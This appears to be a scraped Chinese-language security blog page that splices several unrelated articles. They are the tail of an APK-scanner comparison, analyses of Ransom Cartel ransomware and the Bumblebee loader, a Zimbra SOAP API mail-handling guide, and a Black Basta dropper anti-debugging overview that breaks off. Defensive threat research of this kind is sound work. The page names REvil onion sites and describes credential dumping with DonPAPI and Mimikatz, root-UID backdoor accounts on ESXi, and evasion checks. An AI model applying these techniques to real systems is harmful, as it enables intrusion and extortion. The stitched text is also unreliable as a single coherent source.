注：在Android 官方文檔中，“短信發送”以及“撥打電話”是被標註為危險權限*

行為分析

d7ff8313783684fb61294159cd7b0f62

圖13

c8845076a815c05af257d1298658b412

圖14

Incinerator 對Apk 行為分析有多個分類，如下（如圖13-14 所示）：

加密安全

主要是檢測採用的加密的方式是否正確、是否有採用不夠安全的配置，導致加密失效或者容易被破解等。

應用安全

查看當前應用是否有安全風險，包括是否有日誌洩露、是否動態加載Dex、是否使用高危函數等。

組件安全

動態註冊Receiver 危險、Fragment 注入、組件導出風險、Intent 隱式調用風險、Intent 調用反射風險等。

數據安全

外部存儲風險、剪貼板洩露、應用數據備份風險等。

隱私安全

應用是否有使用錄音、撥打電話、攝像頭、地理位置、電話監聽、發短信等行為。這裡會結合權限申請情況給出最終結果，如果有敏感API 調用，但是沒有申請權限，則報告中不會指出，因為調用不會成功的。防止誤報給用戶造成困擾。

WebView 安全

WebView 任意代碼執行漏洞、WebView 啟用Javascript 風險、WebView 明文存儲密碼等風險。

通訊安全

未驗證CA 證書、HTTP 協議傳輸、Webview 忽略證書、端口開放檢測等。

當檢測出相關問題時，incinerator 會按照嚴重程度進行分類排列、給予對應的安全建議，並且定位到反編譯後具體代碼位置。

軟件成分分析

樣本1 ERMAC 因並未檢測出有依賴SDK 調用,故此下圖為樣本2 FurBall 的SCA 分析結果（如圖15 所示），incinerator 在軟件成分分析檢測時，發現樣本2 有相關的SDK 依賴，從信息的呈現上可以得知SDK 具體的版本號以及名稱。 incinerator 會結合公開的CVE 信息，去查詢依賴SDK 是否存在公開漏洞信息，並且會在報告中顯示。

b70ff3d453097397611218eeaafdef6c

圖15

通過對內置代碼進行深度掃描，抽取硬編碼的URL、郵箱地址、IP 等信息（如圖16 所示）。

49a7b2d3138722a6baac508981492ffc

圖16

同時結合我們自身的Whois、IP 數據庫進行查詢，對所獲取到的域名和IP 進行詳細的信息呈現（如圖17 所示）。

fab0744f3c9573e69be238742e908bc7

圖17

綜上所述，我們可以看到incinerator 對於Apk 的基礎信息檢測部分輸出較國內威脅情報平台更為全面，與VT 的對比來看，incinerator 基礎信息在HASH、TrID 等信息有所欠缺。以國內和國外的整體分析報告來看，incinerator 在沒有沙箱動態檢測，缺少敏感行為的強制調用結果下，但由於incinerator 的多維度基礎信息檢測手段，僅僅以這基礎信息檢測所羅列出來的信息完整度以及深度足以優於這一次對比的所有平台。

image.png

參考來源：

惡意代碼樣本

https://bazaar.abuse.ch/sample/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/#iocs

【安全資訊】ERMAC 新型Android 銀行木馬分析https://ti.dbappsecurity.com.cn/info/2560

360 引用地址1：

https://ti.360.net/#/detailpage/searchresult?query=16e991d73049f1ef5b8f5fa0c075ef05rand=0.8184840901507511

360 引用地址2：

https://ti.360.net/#/detailpage/searchresult?query=6151b1e2e5035a8eb596ce1c37565e87rand=0.46923541160428095

安恆引用地址1：

https://ti.dbappsecurity.com.cn/hash/16e991d73049f1ef5b8f5fa0c075ef05/

安恆引用地址2：

https://ti.dbappsecurity.com.cn/hash/6151b1e2e5035a8eb596ce1c37565e87/

安天引用地址1：

https://www.antiycloud.com/#/search/hash?type=hashkey=16e991d73049f1ef5b8f5fa0c075ef05

安天引用地址2：

https://www.antiycloud.com/#/search/hash?type=hashkey=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址1：

https://ti.nsfocus.com/file?query=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址2：

https://ti.nsfocus.com/file?query=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址3：

https://poma.nsfocus.com/report?md5=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址4：

https://poma.nsfocus.com/v4/report?md5=6151b1e2e5035a8eb596ce1c37565e87

奇安信引用地址1：

https://ti.qianxin.com/v2/search?type=filevalue=16e991d73049f1ef5b8f5fa0c075ef05

奇安信引用地址2：

https://ti.qianxin.com/v2/search?type=filevalue=6151b1e2e5035a8eb596ce1c37565e87

微步在線引用地址1：https://s.threatbook.com/report/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

微步在線引用地址2：https://s.threatbook.com/report/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

VirusTotal 引用地址1：

https://www.virustotal.com/gui/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/details

VirusTotal 引用地址2：https://www.virustotal.com/gui/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93/details

源地

HireHackking

Ransom Cartel是在2021年12月才被發現的勒索軟件即服務(RaaS)。此勒索軟件執行雙重勒索攻擊，並與REvil勒索軟件表現出一些相似之處和技術重疊。從時間維度來說，Ransom Cartel是在REvil勒索軟件消失後幾個月出現的。當Ransom Cartel首次出現時，尚不清楚是REvil的重現還是重用或模仿REvil代碼。

REvil消失的歷史2021年10月，REvil運營商突然中止，其暗網洩露網站也突然無法訪問。大約在2022年4月中旬，個別安全研究人員和網絡安全媒體報導了REvil的一項新進展，這可能意味著該組織的回歸。 REvil在dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion和aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion開始將用戶重定向到blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog。

同一天晚些時候，重定向被刪除。當時，還無法確定是哪個組織發起了重定向，因為這個新的重定向網站並沒有顯示任何名字或隸屬關係。

在重定向開始時，網站上沒有列出任何違規組織。隨著時間的推移，攻擊者開始添加出現在重定向網站上的記錄，大部分是在2021年4月下旬至10月期間。他們還包括以前REvil使用的文件共享鏈接作為攻擊的證據。

新的重定向網站列出了Tox Chat ID，用於與勒索軟件運營商進行通信。該網站暗示其運營商與REvil的聯繫，並聲稱該新組織提供了“相同但經過改進的軟件”。

unit42最初認為該網站與Ransom Cartel有關，攻擊者提到的“改進軟件” 是新的Ransom Cartel變體。然而，在進一步分析和看到更多證據後，研究人員認為這和Ransom Cartel毫無任何關係。

無論新的重定向網站是由Ransom Cartel還是由其他組織運營的，很明顯的是，儘管REvil可能已經消失，但其惡意影響力並未消失。新成立的組織似乎可以訪問REvil或與其建立聯繫。同時，我們對Ransom Cartel樣本的分析(在下面的部分中詳細介紹) 也提供了與REvil有關的有力證據。

Ransom Cartel概述研究人員大約在2022年1月中旬第一次觀察到Ransom Cartel。 MalwareHunterTeam的安全研究人員認為，該組織至少自2021年12月以來一直活躍。他們觀察到第一個已知的Ransom Cartel活動，並註意到與REvil勒索軟件的一些相似之處和技術重疊。

關於Ransom Cartel的起源有許多猜測。其中一種猜測是，Ransom Cartel可能是多個組織融合的結果。然而，MalwareHunterTeam的研究人員提出，其中一個被認為已經合併的組織否認與Ransom Cartel有任何联系。此外，unit42發現其中許多組織與REvil有聯繫外，沒有發現這些組織與Ransom Cartel有聯繫。

目前，研究人員認為Ransom Cartel運營商可以訪問REvil ransomware的早期版本的源代碼，但不能訪問一些最新的開發(有關更多詳細信息，請參閱Ransom Cartel和REvil代碼比較)。這表明，在某種程度上，這些組織之間存在著某種關係，儘管這種關係可能不是最近才出現的。

unit42還觀察到Ransom Cartel組織的攻擊目標，2022年1月左右在美國和法國觀察到第一個已知的受害者。 Ransom Cartel攻擊了以下行業的企業: 教育，製造業，公用事業和能源。 unit42事件響應者還協助客戶在幾起Ransom Cartel案件中做出反應。

像許多其他勒索軟件組織一樣，Ransom Cartel利用雙重勒索技術。 unit42觀察到該組織採取了更激進的態度，威脅不僅要將竊取的數據發佈到他們的洩露網站上，還會將數據發送給受害者的合作夥伴、競爭對手和新聞媒體，以造成名譽損害。

Ransom Cartel通常通過被破壞的憑證獲得對環境的初始訪問權，這是勒索軟件運營商初始訪問的最常見途徑之一。這包括外部遠程服務、遠程桌面協議(RDP) 、安全shell協議(SSH) 和虛擬專用網絡(vpn) 的訪問憑證。這些憑證在網絡黑市中被廣泛可用，並為攻擊者提供了一種可靠的手段來訪問受害者的公司網絡。

這些憑據也可以通過勒索軟件運營商本身的活動或通過從初始訪問代理購買來獲得。

初始訪問代理是提供出售受損網絡訪問的攻擊者。他們的動機不是自己進行網絡攻擊，而是向其他攻擊者出售訪問權限。由於勒索軟件的盈利能力，這些代理可能會根據他們願意支付的金額與RaaS組織建立合作關係。

unit42已經發現Ransom Cartel依靠這種類型的服務來獲得對勒索軟件部署的初始訪問權限的證據。 Unit 42還觀察到Ransom Cartel在攻擊企業網絡時對Windows和Linux VMWare ESXi服務器進行加密。

在Ransom Cartel攻擊中觀察到的戰術、技術和程序unit42使用一種名為DonPAPI的工具觀察到一名Ransom Cartel攻擊者，這種工具在過去的事件中從未被發現過。該工具可以定位和檢索Windows數據保護API (DPAPI)受保護的憑證，這被稱為DPAPI轉儲。

DonPAPI用於搜索設備上已知為DPAPI blob的某些文件，包括Wi-Fi密鑰、RDP密碼、保存在web瀏覽器中的憑證等。為了避免被反病毒(av)或終端檢測和響應(EDR)檢測到的風險，該工具下載文件並在本地解密。為了破壞Linux ESXi設備，Ransom Cartel使用DonPAPI獲取存儲在web瀏覽器中的憑據，用於對vCenter web界面進行認證。

研究人員還觀察到攻擊者使用了其他工具，包括恢復本地存儲的憑據的LaZagne和從主機內存竊取憑據的Mimikatz。

為了建立對Linux ESXi設備的持久訪問，攻擊者在對vCenter進行身份驗證後啟用SSH。攻擊者將創建新的帳戶，並將帳戶的用戶標識符(UID)設置為零。對於Unix/Linux用戶，UID=0表示root。這意味著任何安全檢查都被繞過了。

據觀察，該攻擊者正在下載並使用一種名為PDQ Inventory的合法工具的破解版本。 PDQ Inventory是一種合法的系統管理解決方案，IT管理員可以使用它掃描他們的網絡，收集硬件、軟件和Windows配置數據。 Ransom Cartel利用它作為遠程訪問工具，建立交互式命令和控制通道，並掃描受感染的網絡。

一旦VMware ESXi服務器被破壞，攻擊者將啟動加密器，它將自動枚舉正在運行的虛擬機(vm)，並使用esxcli命令關閉它們。通過終止虛擬機進程，可以確保勒索軟件能夠成功加密vmware相關文件。

在加密過程中，Ransom Cartel專門尋找具有以下文件擴展名的文件：log，vmdk，vmem，vswp和.vmsn。這些擴展與ESXi快照、日誌文件、交換文件、分頁文件和虛擬磁盤相關聯。加密後，觀察到以下文件擴展名：zmi5z，nwixz，ext，zje2m，5vm8t和.m4tzt。

勒索通知unit42觀察到Ransom Cartel發送的兩種不同版本的勒索通知。第一個勒索通知最早是在2022年1月周圍觀察到的，另一個勒索通知是在2022年8月首次出現的。第二個版本似乎被完全重寫了，如圖1所示。

1.png

Ransom Cartel勒索通知，左邊的是在2022年1月中首次觀察到的，右邊的是在2022年8月中首次觀察到的

有趣的是，Ransom Cartel使用的第一個勒索通知的結構與REvil發送的勒索通知具有相似之處，如下圖所示。除了使用類似的措辭外，兩個註釋都對UID採用了相同格式的16字節十六進製字符串。

2.png

左側顯示的Ransom Cartel勒索通知，而右邊顯示的是REvil發送的勒索通知

Ransom Cartel TOR網站Ransom Cartel與受害者溝通的網站可通過贖金說明中提供的TOR鏈接獲得。我們已經觀察到屬於Ransom Cartel的多個TOR url，這可能表明他們一直在改變基礎設施並積極開發其網站。訪問網站需要一個TOR私鑰。

輸入密鑰時，將加載以下頁面：

3.png

Ransom CartelTOR網站登陸頁面

通過授權按鈕進入TOR網站後，會出現一個屏幕，要求輸入贖金通知中包含的詳細信息。

4.png

Ransom Cartel網站，要求在贖金通知中提供的ID和密鑰

在TOR網站上完成授權後，將出現下圖所示的頁面。該網站包括美元和比特幣的贖金需求以及比特幣錢包地址等詳細信息。

5.png

Ransom CartelTOR網站

技術細節在此分析中使用了兩個Ransom Cartel樣本:

16.png

兩個樣本都包含三種輸出：

17.png

如果不指定導出而執行DLL，則示例還包含一個DllEntryPoint。 DllEntryPoint指向一個函數，該函數在對Curve25519 Donna算法的調用上迭代24次。迭代結束後，示例將查詢系統指標，特別是SM_CLEANBOOT值。如果這個值不是0，勒索軟件將繼續通過rundll32.exe生成自己的另一個實例，並指定Rathbuige導出。

8.png

SM_CLEANBOOT值

Rathbuige導出從創建以下互斥鎖開始:

9.png

創建互斥鎖後，示例開始解密並解析其嵌入式配置。該配置存儲為一個base64編碼的blob，其中base64編碼的blob的前16個字節是RC4密鑰，用於在解碼後解密blob的其餘部分。

10.png

Ransom Cartel加密配置

一旦解密，該配置將以JSON格式存儲，並包含諸如加密文件擴展名、攻擊者的公共Curve25519-donna密鑰、base64編碼的贖金通知以及加密前要終止的進程和服務列表等信息。

11.png

解密Ransom Cartel配置示例

配置中的對應值如下：

12.png

配置結構

13.png

有針對性的進程列表

14.png

有針對性的服務列表

15.png

避免擴展

解密配置後，將收集某些系統信息，包括用戶名，計算機名稱，域名，區域設置和產品名稱。然後將此信息格式化為以下JSON結構:

16.png

結構內每個項的作用

17.png

硬編碼JSON格式項和值

一旦收集到的數據被格式化為JSON結構，它將使用與Ransom Cartel生成session_secret blob相同的過程進行加密，稍後將討論這個過程。簡而言之，它涉及AES加密，對AES密鑰使用Curve25519共享密鑰的SHA3哈希。

一旦加密，它被寫入註冊表項SOFTWARE\\Google_Authenticator\\b52dKMhj，如果沒有正確的權限，示例首先嘗試寫入HKEY_LOCAL_MACHINE配置單元，然後寫入HKEY_CURRENT_USER。將數據寫入註冊表後，它將被base64編碼並嵌入到贖金通知中，取代{KEY}佔位符。

一旦配置被解析並存儲在註冊表中，就會解析提供給勒索軟件的命令行。總共有5個可能的參數，如下表所示。

18.png

接下來，讓我們繼續分析會話秘密生成過程。

Ransom Cartel首先檢查註冊表是否已經包含先前生成的值; 如果是這樣，它將把這些值讀入內存。否則，它將在運行時總共生成兩個會話秘密，每個秘密包含88個字節的數據。

首先，將使用此Curve25519存儲庫(session_public_1和session_private_1) 中的代碼生成公鑰和私鑰對。當生成第一個會話秘密時，會生成另一個會話密鑰對(session_public_2和session_private_2)，並且session_private_2與attacker_cfg_public (配置中嵌入的公鑰) 配對以生成共享密鑰。然後使用SHA3哈希算法對該共享密鑰進行哈希處理。生成的哈希用作具有隨機16字節初始化向量(IV) 的AES密鑰，用於加密由四個空字節組成的後跟session_private_1的數據blob。

19.png

會話秘密生成過程示意圖

現在，使用CRC-32哈希加密blob，然後附加有session_public_2、AES IV和計算的CRC-32哈希的值。結果值為session_secret_1。第二個生成的會話秘密遵循完全相同的過程。但是，它沒有使用attacker_cfg_public，而是利用二進製文件中的嵌入式公鑰(attacker_embedded_public_1) 來生成共享密鑰。

20.png

反編譯會話秘密生成過程

最後一個嵌入式公鑰(attacker_embedded_public_2) 用於加密格式化為上述JSON結構的數據。

早在2020年，Amossys的研究人員就記錄了這種生成會話秘密的方法，然而，他們的分析集中在Sodinokibi/REvil勒索軟件的更新版本上，表明REvil源代碼和最新的Ransom Cartel樣本之間有直接重疊。

一旦生成了會話秘密，它們就會與session_public_1和attacker_cfg_public一起寫入註冊表。

21.png

Ransom Cartel使用的註冊表路徑和值

此時，將收集並生成所有所需的信息，以便開始文件加密。

對於每個文件，生成唯一的文件公鑰和私鑰對(file_public_1和file_private_1)，再次使用Curve25519 Donna. file_private_1和session_public_1配對在一起以生成共享密鑰，該共享密鑰使用sha3進行哈希處理。生成的哈希用作Salsa20 (一種對稱加密算法) 的加密密鑰，並使用CryptGenRandom生成隨機的八字節隨機數。計算file_public_1的CRC-32哈希，然後使用生成的Salsa20矩陣對四個空字節進行加密。

然後保留上述數據的某些元素，並將其用作加密文件頁腳的一部分，每個文件頁腳的長度為232字節，由以下部分組成：

22.png

與session_secret生成類似，該結構與Amossys分析的REvil樣本的結構相同，進一步表明在開發Ransom Cartel樣本時，對REvil源代碼的更改很少。

23.png

文件加密設置過程

Ransom Cartel和REvil代碼比較Ransom Cartel的樣本分析顯示了與REvil勒索軟件的相似之處。

Ransom Cartel和REvil之間的第一個值得注意的相似之處是配置的結構。檢查2019年的REvil樣本(SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3)，可以看到相似性。然而，加密配置的存儲略有不同，選擇將配置存儲在二進製文件(.ycpc19)的單獨部分中，初始的32字節RC4密鑰後面是原始加密配置，而對於Ransom Cartel示例，配置作為base64編碼的blob存儲在.data部分中。

24.png

REvil配置存儲

一旦REvil配置被解密，它將使用相同的JSON格式，但包含額外的值，如pid、sub、fast、wipe和dmn。這些值表示REvil示例中的附加功能，這可能意味著要么是Ransom Cartel的開發人員刪除了某些功能，要么是他們在REvil的較早版本之上構建。

HireHackking

年初，Bumblebee加載程序的活動激增，由於其與幾個著名的惡意軟件家族有關，因此引起了安全研究人員的注意。

Bumblebee一直在快速迭代，其加載系統在幾天內經歷了兩次徹底的更新，首先是從使用ISO格式文件到包含powershell腳本的VHD格式文件，然後再恢復原貌。

Bumblebee服務程序在6月前後發生的行為變化表明，攻擊者可能已經將他們的重點從大規模監測惡意軟件轉向了攻擊盡可能多的受害者。

儘管該攻擊包含一個名為group_name的字段，但它可能不是一個與集群相關的活動的良好示例：具有不同group_name值的示例顯示了類似的行為，這可能表明同一個攻擊者同時運營多個group_name。加密密鑰的情況並非如此：不同的加密密鑰通常意味著不同的行為。

Bumblebee的有效負載因受害者類型而異。受感染的獨立計算機可能會受到銀行木馬或信息竊取者的攻擊，而組織網絡可能會受到更先進的後期利用工具（如CobaltStrike）的攻擊。

技術分析Bumblebee加載程序通常以類似於DLL的二進製文件的形式出現，並使用自定義打包程序打包。此DLL的傳播方法似乎會隨著攻擊者而異。目前最流行的方法是將打包的DLL直接嵌入另一個文件（通常是ISO）中，在6月份的一段短暫時間內，惡意軟件的操作人員嘗試使用VHD文件，執行PowerShell下載並解密打包的DLL本身（用一個非常不同的打包程序打包）。這種趨勢似乎已經消失，現在可以再次在第一階段文件中直接找到DLL，無論是ISO還是VHD。

一旦解壓，Bumblebee將執行檢查，以避免在沙箱或分析環境中執行，負責這項工作的大部分代碼都是開源的，直接從Al-Khaser項目中提取出來。如果避開安全監測，Bumblebee將繼續將其配置加載到內存中。這是通過從它的.data部分加載四個指向連續加密配置結構中的四個不同緩衝區的指針來實現的。第一個指向一個80字節的部分，它存儲一個RC4 ascii密鑰(在我們所觀察到的所有示例中都要短得多)。其他三個指針指向兩個80字節的部分和一個1024字節的部分，所有這些部分都包含隨後使用上述RC4密鑰解密的數據。

解密後，大多數示例中的第一個80字節緩衝區僅包含數字“444”，惡意軟件沒有使用這個數字，所以它的意義不清楚。第二個緩衝區包含一個被惡意軟件標記為group_name的ASCII碼。最後，1024字節塊包含一個命令和控制服務程序列表（其中大多數通常是假的）。

1.webp.jpg

Bumblebee加密配置

Bumblebee通過連接一些不可變機程序參數(在本例中為機程序名和GUUID)的常用方法計算特定於機程序的偽隨機受害者ID(內部命名為client_id)，然後計算結果的哈希值(在本例中為MD5摘要)。

利用這些數據和從受害系統收集到的其他特點，Bumblebee以JSON格式構建了CC簽入，如下所示：

2.png

該字符串使用之前配置時使用的相同的RC4密鑰加密，並以25秒到3分鐘的隨機延遲重複發送到其C2服務程序，而不管服務程序是響應還是關閉。來自命令和控制服務程序的響應也是JSON格式，也使用相同的RC4密鑰加密。響應本身的內容自然是不同的，例如，可以是一個空響應:

3.png

或者一些要注入或執行的負載：

4.png

在接收有效負載的示例中，響應的結構將包含json任務部分中的特點列表，每個特點都有一個命令和一個有效負載。每個特點都將包含一個任務字段，其中包含要執行的命令的名稱，以及一個名為task_data的部分中一個base64編碼的有效負載。

殭屍網絡行為分析直到7月初，我們一直觀察到命令和控制服務程序的一個非常奇怪的行為。一旦為受感染的受害者生成client_id並將其發送到命令和控制服務程序，該命令和控制服務程序將停止接受來自同一受害者外部IP的其他不同的client_id代碼。這意味著，如果一個組織中使用同一公共IP訪問internet的多台計算機受到感染，C2服務程序將只接受第一台受感染的計算機。但是幾個星期前，這個功能突然被關閉，大大增加了與受感染受害者建立的連接的數量（可能表明該惡意軟件的測試階段已經結束）。

這種行為促使研究人員特別關注Bumblebee在不同執行環境中的行為。值得注意的是，儘管在每個示例中都硬編碼了一個名為group_name的字段，但在每個請求中都會將該值發送到命令和控制服務程序。此外，上述“每個IP地址一個client_id”策略似乎適用於不同的group_name，但不適用於不同的RC4加密密鑰，這似乎意味著同一殭屍網絡使用多個group_name可能標記不同的活動或不同的受害者集。因此，與按group_name分組相比，按加密密鑰分組活動似乎是一種更前後一致的方法。

研究人員觀察到幾個具有相同RC4密鑰和不同group_name的示例在非常接近的時間範圍內行為相同並實現了相同的攻擊，而使用不同RC4密鑰的示例表現出完全不同的行為，這一事實進一步支持了這一假設。

5.webp.jpg

不同Bumblebee示例根據其RC4密鑰釋放了相同的有效負載

事實上，不同的示例使用相同的RC4密鑰接觸的不同IP地址的命令和控制服務程序會返回相同的有效負載，並為受害者阻止相同的client_id，這一事實也表明，這些IP地址實際上只是一個主命令和控制服務程序的前端，所有Bumblebee連接都中繼到該服務程序。

這些殭屍網絡行為的另一個有趣的特點是，Bumblebee釋放到受害者機程序中的工具集是如何根據目標的類型而有所不同。為了部署攻擊，在bumblebee支持的5個命令中，有3個命令導致從C2服務程序下載代碼並執行：

DEX：將可執行文件部署到磁盤並運行它。

DIJ：將庫注入進程並執行它。

SHI：向進程中註入並執行shellcode。

作為對各種Bumblebee殭屍網絡持續監控的一部分，研究人員一直在監控基於網絡類型或地理位置等因素的行為差異。雖然受害者的地理位置似乎對惡意軟件的行為沒有任何影響，但研究人員觀察到，Bumblebee在感染了屬於域(共享同一個Active Directory服務程序的邏輯網絡組)的機程序後，與連接到工作組(微軟術語，表示點對點局域網)的從公司網絡中隔離出來的機程序之間存在非常明顯的差異。

如果受害者連接到WORKGROUP，在大多數示例中，它會收到DEX命令(下載和執行)，這將導致它從磁盤上釋放並運行一個文件。這些有效負載通常是常見的盜竊程序，如Vidar Stealer，或銀行木馬：

6.webp.jpg

Bumblebee C2響應，其中包含一個Base64編碼的有效負載的DEX命令

另一方面，如果受害者連接到AD域，它通常會收到DIJ(下載和注入)或SHI(下載shellcode和注入)命令。

7.webp.jpg

帶有DIJ命令的Bumblebee C2響應，其中包含Base64編碼的有效負載

在這些示例中，產生的攻擊來自更先進的後開發框架，如cobalt tstrike、silver或Meterpreter。

在這些示例中，還可以觀察到，無論命令和控制服務程序的IP和group_name字段如何，使用相同RC4密鑰的示例都會使用相同的團隊服務程序釋放相同的Cobalt Strike信標，這已被證明是將不同示例作為同一殭屍網絡的一部分相互關聯的非常有用的方法。

由Bumblebee釋放的有效負載的最後一個有趣特性是，在許多示例中，使用DEX命令下載的二進製文件和使用DIJ命令下載的那些二進製文件都是使用同一個Bumblebee打包程序打包的。

總結通過分析Bumblebee操作人員使用的命令和控制服務程序的行為，研究人員觀察到他們如何調整其感染鏈的行為方式，有時這種方式會大大增加活動受害者的數量和C2流量

目前，即使在不同的Bumblebee殭屍網絡中，在部署第二階段有效負載之前的行為也非常相似，但從選擇第二階段的有效負載開始的進一步行為會根據所使用的RC4密鑰而變得不同。除了使用RC4密鑰本身之外，此行為還可以將活動分組到不同的集群中。

與其他使用第三方打包程序和現成的繞過防病毒工具的攻擊不同，Bumblebee對攻擊本身和部署在受害者電腦上的一些示例使用自己的打包程序，就像其他高級惡意軟件家族(如Trickbot)一樣。雖然這讓Bumblebee操作員在改變行為和添加功能方面有了更大的靈活性，但使用獨特的自定義工具也可以作為一種快速識別Bumblebee野外活動的方法。

HireHackking

0x00 前言在之前的文章《Zimbra SOAP API开发指南》 和《Zimbra-SOAP-API开发指南2》 介紹了Zimbra SOAP API的調用方法，開源代碼Zimbra_SOAP_API_Manage。 本文將要在此基礎上擴充功能，添加郵件操作的相關功能。

0x01 簡介本文將要介紹以下內容：

查看郵件

發送郵件

刪除郵件

0x02 查看郵件Zimbra SOAP API說明文檔：https://files.zimbra.com/docs/soap_api/9.0.0/api-reference/index.html

結合Zimbra SOAP API說明文檔和調試結果得出以下實現流程：

調用Search命令獲得郵件對應的Item id，通過Item id作為郵件的識別標誌。

獲得Item id後可以對郵件做進一步操作，如查看郵件細節、移動郵件、刪除郵件等。

1.獲得郵件對應的Item id需要使用Search命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/Search.html

需要用到以下參數：

(1)query

表示查看的位置，示例如下：

image.png

(2)limit

表示返回的查詢結果數量，示例如下：

image.png

如果不指定該屬性，默認為10

測試代碼：

image.png

返回內容示例：

image.png

對以上格式分析，發現標籤c***對應每個郵件的信息，提取數據如下：

image.png

格式分析如下：

image.png

時間格式轉換的示例代碼：

image.png

綜合以上內容，得出提取Item id、發件人、標題、正文內容和發送時間的實現代碼：

image.png

2.查看郵件內容測試發現，查看郵件細節可以不依賴Zimbra SOAP API，訪問固定url即可。

image.png

通過這種方式可以獲得完整的郵件內容，包括Base64編碼的附件內容。

實現代碼：

image.png

0x03 發送郵件在發送帶有附件的郵件時，需要先上傳附件，再發送。

1.上傳附件上傳功能通過FileUploadServlet實現，對應代碼位置：/opt/zimbra/lib/jars/zimbrastore.jar中/com.zimbra/cs/service/FileUploadServlet.class

上傳細節可參考：https://github.com/Zimbra/zm-mailbox/blob/develop/store/docs/file-upload.txt

上傳的url: https://

image.png

如果添加參數fmt=raw,extended，返回結果示例：

image.png

經過比較，發現添加參數fmt=raw,extended能夠額外獲得文件類型，示例:'ct':'image/jpeg'

所以在上傳時，使用url: https://url /service/upload?fmt=raw,extended

綜合以上內容，得出以下實現代碼：

image.png

2.發送帶有附件的郵件需要使用SendMsg命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/SendMsg.html

需要用到以下參數：

(1)e

表示發件人和收件人等相關信息，示例如下：

image.png

(2)su

表示郵件標題，示例如下：

image.png

(3)mp

表示正文內容，示例如下：

image.png

(4)noSave

如果設置為1，表示郵件發送後，不在發件箱保存副本，示例代碼：

image.png

(5)attach

指定發送附件的aid，示例代碼：

image.png

綜合以上內容，得出發送帶有附件郵件的實現代碼：

image.png

0x04 刪除郵件需要使用ConvAction命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/ConvAction.html

需要用到以下參數：

(1)tcon

image.png

通過瀏覽器刪除郵件的流程是先點擊刪除郵件，將郵件移動至垃圾箱，再從垃圾箱中點擊刪除郵件，完成郵件的徹底刪除。

通過Zimbra-SOAP-API可以簡化以上流程，直接刪除郵件。

實現代碼：

image.png

0x05 開源代碼新的代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

優化了代碼結構，增加了以下功能：

DeleteMail，刪除指定郵件

SearchMail，獲得郵箱信息，包括Item id、發件人、標題、正文內容和發送時間

SendTestMailToSelf，向當前郵箱發送一封帶有附件的郵件

uploadattachment，上傳附件

uploadattachmentraw，上傳附件的另一種實現，用於特定條件

viewmail，查看郵件完整細節

0x06 小結本文擴充了Zimbra SOAP API的調用方法，添加三個實用功能：查看郵件、發送郵件和刪除郵件，記錄實現細節。

HireHackking

微信截图_20221024152448.png

根據Check Point在2022年上半年的報告，每40個組織中就有1個受到勒索軟件攻擊的影響，這比去年增加了59%。勒索軟件之所以如此猖狂，原因就是獲利巨大。隨著雙重勒索的增加，勒索軟件攻擊變得更加吸引人：即使受害者拒絕支付，被盜的私人數據可能會在黑市上以相當大的價格出售。

自2022年5月以來，累計有89多起知名組織被Black Basta組織攻擊。數據顯示，該組織的攻擊目標明顯位於美國和德國，49%的受害者是美國用戶。在某些情況下，贖金甚至超過100萬美元。

1.png

接下來，我將介紹Black Basta活動的技術細節，以及各種規避和反分析技術。

技術細節在攻擊開始之前，幕後組織必須將勒索軟件傳播到受害者的設備。憑藉先進的傳播技術，滴管有不同的方式將其有效載荷下載到選定的受害者設備，不過也可能會出現不同滴管模塊的組合使用（比如QakBot和Cobalt Strike有效載荷的組合），最終導致勒索軟件的執行。

2.png

Black Basta向受害者的設備發送勒索軟件的可能方式

我們觀察到，滴管可以比技術上簡單的勒索軟件有效載荷複雜得多。我們將在下面介紹Black Basta勒索軟件的最終傳播階段。

傳播階段Black Basta滴管模仿了創建此網站上託管的USB可引導驅動器的應用程序：

3.png

Black Basta滴管的圖標和介紹

應用程序使用與Rufus網站上合法可執行文件相同的證書（由“Akeo Consulting”頒發）進行數字簽名：

4.png

Black Basta滴管和證書頒發者的數字簽名

有關如何使用經過驗證的數字簽名創建惡意應用程序的更多信息，請參閱Check Point研究團隊的文章。

規避和反分析技術在Black Basta滴管中實現了很多反調試技巧，下面按類別列出。

5.png

Black Basta滴管中的反調試和規避技術如果這些技術中的任何一種成功地檢測到調試器或仿真環境，則滴管將停止執行並退出，而不啟動Black Basta。

系統標誌這組反調試技術依賴於進程內結構來檢查狀態：是否正在調試。

PEB: is debugger present；

PEB: being debugged；

PEB: NtGlobalFlag；

CheckRemoteDebugger；

Check kernel debugger；

CPU寄存器下面分組的技術使用CPU寄存器檢查進程是否正在調試。

設置陷阱標誌；

檢查陷阱標誌，同上。標誌未設置，只是選中；

檢查HW斷點（鏈接中的方法1）；

CPU指令這些技術通過直接調用或包裝器使用CPU指令來檢查進程是否正在調試。

DebugBreak；

INT 2D；

INT3；

定時檢查這些技術執行定時檢查，以查看經過調試的進程與沒有調試器運行的進程之間的差異。

RDTSC；

QueryPerformanceCounter；

GetTickCount；

庫檢查這種技術依賴於這樣一個假設，即在通常的系統中有一些通用的系統庫可以毫無問題地加載，還有一些不常見的庫不應該真正出現在典型的系統中。然而，在沙盒環境中，當試圖加載一個不常見的庫時，在這種情況下可能返回預定義的代碼，而不是在非模擬設備中返回的代碼。返回代碼的差異可以用來檢測沙盒。

必須加載的庫kernel32.dll；

networkexplorer.dll；

